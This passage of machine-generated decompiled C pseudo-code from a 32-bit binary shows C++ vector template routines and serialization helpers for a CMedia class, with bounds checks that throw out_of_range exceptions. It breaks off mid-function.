std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d675, v3);
// branch -> 0x805d6d4
}
// 0x805d6d4
*(char *)(*a3 + *a2) = (char)a1;
*a3 = *a3 + 1;
return (int32_t)a3;
}
// Address range: 0x805d6fa - 0x805d72b
int32_t CMedia__operator_lt__lt__lt_bool_gt_(int32_t * a1, char * a2) {
int32_t v1 = g98; // 0x805d6fd
int32_t result = (int32_t)a1; // 0x805d701
int32_t v2 = *(int32_t *)(result + 4); // 0x805d704
g98 = result;
unsigned char v3 = *a2; // 0x805d713
int32_t v4;
Storer_lt_bool_gt___Done((int32_t)v3, a1, (int32_t *)(result + 8), v2, v4);
g98 = v1;
return result;
}
// Address range: 0x805d72c - 0x805d869
int32_t Storer_lt_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 4; // 0x805d738
g95 = v1;
if (v1 > a4) {
// 0x805d744
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d773
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d7e5, v3);
// branch -> 0x805d844
}
// 0x805d844
*(int32_t *)(*a3 + *a2) = a1;
int32_t v9 = *a3 + 4; // 0x805d85d
g97 = v9;
*a3 = v9;
return (int32_t)a3;
}
// Address range: 0x805d86a - 0x805d899
int32_t CMedia__operator_lt__lt__lt_int_gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = g98; // 0x805d86d
int32_t result = (int32_t)a1; // 0x805d871
int32_t v2 = *(int32_t *)(result + 4); // 0x805d874
int32_t v3 = result + 8; // 0x805d87a
g96 = v3;
g98 = result;
int32_t v4;
Storer_lt_int_gt___Done(*a2, a1, (int32_t *)v3, v2, v4);
g98 = v1;
return result;
}
// Address range: 0x805d89a - 0x805d9df
int32_t Storer_lt_unsigned_short_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 2; // 0x805d8ad
g95 = v1;
if (v1 > a4) {
// 0x805d8b9
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d8e8
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d95a, v3);
// branch -> 0x805d9b9
}
// 0x805d9b9
*(int16_t *)(*a3 + *a2) = (int16_t)a1;
*a3 = *a3 + 2;
return (int32_t)a3;
}
// Address range: 0x805d9e0 - 0x805da13
int32_t CMedia__operator_lt__lt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2) {
int32_t v1 = g98; // 0x805d9e3
int32_t result = (int32_t)a1; // 0x805d9e7
int32_t v2 = *(int32_t *)(result + 4); // 0x805d9ea
g98 = result;
uint16_t v3 = *a2; // 0x805d9f9
int32_t v4;
Storer_lt_unsigned_short_gt___Done((int32_t)v3, a1, (int32_t *)(result + 8), v2, v4);
g98 = v1;
return result;
}
// Address range: 0x805da14 - 0x805db51
int32_t Fetcher_lt_unsigned_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 4; // 0x805da20
g95 = v1;
if (v1 > a4) {
// 0x805da2c
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805da5b
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805dacd, v3);
// branch -> 0x805db2c
}
// 0x805db2c
*a1 = *(int32_t *)(*a3 + *a2);
int32_t v9 = *a3 + 4; // 0x805db45
g97 = v9;
*a3 = v9;
return (int32_t)a3;
}
// Address range: 0x805db52 - 0x805db79
int32_t CMedia__operator_gt__gt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x805db58
int32_t v1 = *(int32_t *)(result + 4); // 0x805db5b
int32_t v2;
Fetcher_lt_unsigned_int_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2);
return result;
}
// Address range: 0x805db7a - 0x805dbad
int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(int32_t * a1, int32_t * a2) {
struct struct_18 * v1 = NULL; // bp+12
int32_t v2 = _ZnwjPv((int32_t *)8); // 0x805db88
struct struct_18 * v3 = (struct struct_18 *)v2; // 0x805db88_4
struct struct_18 * v4; // 0x805dbad_11
if (v2 != 0) {
// 0x805db99
g96 = v2;
v3->e0 = v1->e0;
int32_t * v5 = v1->e1; // 0x805dba3
v3->e1 = v5;
v4 = (struct struct_18 *)v5;
// branch -> 0x805dbac
} else {
v4 = v3;
}
// 0x805dbac
return (int32_t)v4;
}
// Address range: 0x805dbae - 0x805dceb
int32_t Storer_lt_unsigned_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 4; // 0x805dbba
g95 = v1;
if (v1 > a4) {
// 0x805dbc6
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805dbf5
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805dc67, v3);
// branch -> 0x805dcc6
}
// 0x805dcc6
*(int32_t *)(*a3 + *a2) = a1;
*a3 = *a3 + 4;
return (int32_t)a3;
}
// Address range: 0x805dcec - 0x805dd1b
int32_t CMedia__operator_lt__lt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = g98; // 0x805dcef
int32_t result = (int32_t)a1; // 0x805dcf3
int32_t v2 = *(int32_t *)(result + 4); // 0x805dcf6
g98 = result;
int32_t v3;
Storer_lt_unsigned_int_gt___Done(*a2, a1, (int32_t *)(result + 8), v2, v3);
g98 = v1;
return result;
}
// Address range: 0x805e0d6 - 0x805e0db
void __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(void) {
// 0x805e0d6
return;
}
// Address range: 0x805e4bc - 0x805e4c5
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(void) {
// 0x805e4bc
return 0x1fffffff;
}
// Address range: 0x805e4c6 - 0x805e4fd
int32_t __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x805e4d3
int32_t v2 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x805e4e5
return (*(int32_t *)v1 - *(int32_t *)v2) / 8;
}
// Address range: 0x805e4fe - 0x805e519
int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(int32_t a1) {
// 0x805e4fe
__gnu_cxx____mt_alloc_base_lt_CSubTask_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x805e51a - 0x805e535
int32_t std__allocator_lt_CSubTask_gt__161(int32_t a1, int32_t a2) {
// 0x805e51a
__gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(a1);
return 0x8132c20;
}
// Address range: 0x805f4a0 - 0x805f4e3
int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3) {
struct struct_3 * v1 = a1;
int32_t v2 = (int32_t)a2 - (int32_t)a1; // 0x805f4ae
g96 = v2;
if (v2 > 7) {
g96 = (int32_t)a3;
a3->e0 = a1->e0;
a3->e1 = v1->e1;
struct struct_3 * v3 = (struct struct_3 *)((int32_t)v1 + 8); // 0x805f4ca_4
v1 = v3;
struct struct_3 * v4 = (struct struct_3 *)((int32_t)a3 + 8); // 0x805f4d1_4
int32_t v5 = v2 / 8 - 1; // 0x805f4d7
while (v5 > 0) {
// 0x805f4ba
a3 = v4;
g96 = (int32_t)a3;
a3->e0 = v3->e0;
a3->e1 = v1->e1;
v3 = (struct struct_3 *)((int32_t)v1 + 8);
v1 = v3;
v4 = (struct struct_3 *)((int32_t)a3 + 8);
v5--;
// continue -> 0x805f4ba
}
// 0x805f4d9
a3 = v4;
// branch -> 0x805f4df
}
// 0x805f4df
return (int32_t)a3;
}
// Address range: 0x805f4e4 - 0x805f503
int32_t std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3) {
// 0x805f4e4
return std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(a1, a2, a3);
}
// Address range: 0x805f504 - 0x805f56d
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(struct struct_3 * a1, int32_t * a2) {
struct struct_3 * v1 = NULL;
int32_t result = (int32_t)a1;
int32_t * v2;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v2);
int32_t * v3;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v3);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2);
int32_t v4 = std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(v1, (struct struct_3 *)(int32_t)v1, (struct struct_3 *)(int32_t)v1); // 0x805f549
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(&((struct struct_3 *)result)->e0, (int32_t *)v4);
return result;
}
// Address range: 0x805f570 - 0x805f5ab
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
struct struct_3 * v1 = NULL; // bp-32
g101 = (int32_t)a1;
std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2);
*(int32_t *)g101 = (int32_t)v1;
return g101;
}
// Address range: 0x805f5ac - 0x805f66f
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
struct struct_6 * v1 = NULL; // bp-17
int32_t v2 = g101; // 0x805f5af
int32_t v3 = g98; // 0x805f5b0
g98 = (int32_t)a1;
int32_t v4 = (int32_t)a3; // 0x805f5b7
g101 = v4;
int32_t v5 = (int32_t)a2; // 0x805f5c4
int32_t * v6;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v6, v5);
int32_t ** v7;
std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v7, a4, v6, (int32_t *)g101);
std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v1, a2);
int32_t * v8;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v8, v5);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_((int32_t *)v7);
std__allocator_lt_CFakeCustom_gt_((int32_t *)v1);
int32_t * v9 = (int32_t *)(v5 + 4); // 0x805f63f_0
int32_t v10 = *v9;
int32_t v11 = v10 - 8 * __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a4, a3); // 0x805f65a
g97 = v11;
*v9 = v11;
*(int32_t *)g98 = v4;
int32_t result = g98; // 0x805f667
g98 = v3;
g101 = v2;
return result;
}
// Address range: 0x805f672 - 0x805f6bf
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(int32_t * a1) {
// 0x805f672
int32_t * v1;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(v1, (int32_t)a1);
int32_t * v2;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v2, a1);
int32_t ** v3;
return std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(v3, a1, v2, v1);
}
// Address range: 0x805f6c0 - 0x805f705
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805f6ce
g96 = v1;
if (v1 > 7) {
int32_t v2 = (int32_t)a3 - 8; // 0x805f6dd
struct struct_3 * v3 = (struct struct_3 *)v2; // bp+12
g96 = v2;
int32_t v4 = (int32_t)a2 - 8; // 0x805f6e6
struct struct_3 * v5 = (struct struct_3 *)v4;
*(int32_t *)v2 = *(int32_t *)v4;
v3->e1 = v5->e1;
int32_t v6 = v1 / 8 - 1; // 0x805f6f9
while (v6 > 0) {
// 0x805f6da
// 0x805f6da
v2 = (int32_t)v3 - 8;
v3 = (struct struct_3 *)v2;
g96 = v2;
v4 = (int32_t)v5 - 8;
v5 = (struct struct_3 *)v4;
*(int32_t *)v2 = *(int32_t *)v4;
v3->e1 = v5->e1;
v6--;
// branch -> 0x805f6da
}
// 0x805f701
return (int32_t)v3;
}
// 0x805f701
return (int32_t)a3;
}
// Address range: 0x805f706 - 0x805f725
int32_t std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3) {
// 0x805f706
return std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(a1, a2, a3);
}
// Address range: 0x805f726 - 0x805f78f
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
struct struct_3 * v1 = NULL;
int32_t result = (int32_t)a1;
int32_t * v2;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v2);
int32_t * v3;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(v3);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2);
int32_t v4 = std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(&v1->e0, (struct struct_3 *)(int32_t)v1, (struct struct_3 *)(int32_t)v1); // 0x805f76b
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_((int32_t *)result, (int32_t *)v4);
return result;
}
// Address range: 0x805f792 - 0x805f7cd
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
// 0x805f792
g101 = (int32_t)a1;
int32_t * v1;
std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2);
*(int32_t *)g101 = (int32_t)v1;
return g101;
}
// Address range: 0x806135c - 0x80613d7
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x8061366
int32_t v1;
*a1 = v1;
int32_t * v2;
if (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a2, v2) == 0) {
// 0x80613cd
return result;
}
g98 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1), (struct struct_18 *)g98);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a2, v2) != 0) {
// 0x806136d
g98 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1), (struct struct_18 *)g98);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1);
// continue -> 0x806136d
}
// 0x80613cd
return result;
}
// Address range: 0x80613d8 - 0x806141b
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4) {
int32_t result = (int32_t)a1;
int32_t * v1;
std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v1, a2);
*(int32_t *)result = (int32_t)v1;
return result;
}
// Address range: 0x806141c - 0x806144f
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4) {
int32_t v1 = g101; // 0x806141f
g101 = (int32_t)a1;
int32_t ** v2;
std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8061444
g101 = v1;
return result;
}
// Address range: 0x8061450 - 0x8061797
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, struct struct_6 * a3) {
struct struct_6 * v1 = NULL; // bp-76
struct struct_6 * v2 = NULL; // bp-45
struct struct_6 * v3 = NULL; // bp-37
struct struct_6 * v4 = NULL; // bp-29
struct struct_6 * v5 = NULL;
int32_t v6 = g101; // 0x8061453
int32_t v7 = g98; // 0x8061454
int32_t * v8; // 0x8061796_11
if (a1->e1 == a1->e2) {
int32_t v9 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(&a1->e0); // 0x8061533
struct struct_6 * v10 = (struct struct_6 *)v9; // bp-20
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size();
int32_t * v11;
int32_t * v12;
std____throw_length_error("vector::_M_insert_aux", (int32_t)NULL, (int32_t)v12, (int32_t)v11);
struct struct_6 * v13 = NULL; // 0x8061583_0
struct struct_6 * v14 = (struct struct_6 *)1;
if (v10 != NULL) {
// 0x8061569
v13 = v10;
v14 = (struct struct_6 *)(2 * (int32_t)v10);
// branch -> 0x806157a
}
struct struct_6 * v15 = v14; // bp-16
struct struct_6 * v16 = v14; // 0x806159f_0
if (v14 < v13) {
// 0x8061588
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size();
v15 = (struct struct_6 *)0x1fffffff;
v16 = (struct struct_6 *)0x1fffffff;
// branch -> 0x8061599
}
// 0x8061599
int32_t * v17;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v17, (int32_t *)std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate((int32_t *)a1, v16));
std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v2, (int32_t *)a1);
g98 = (int32_t)v17;
g101 = (int32_t)a2;
int32_t * v18;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v18, (int32_t *)a1);
int32_t ** v19;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(v19, v18, (struct struct_6 *)g101, (int32_t *)g98);
std__allocator_lt_CFakeCustom_gt_((int32_t *)v2);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base((int32_t *)v19);
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct((int32_t *)a1, (int32_t *)v5);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__((int32_t *)v19);
std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator((int32_t *)v3, (int32_t *)a1);
g98 = (int32_t)v19;
int32_t * v20;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v20, (int32_t *)((int32_t)a1 + 4));
int32_t ** v21;
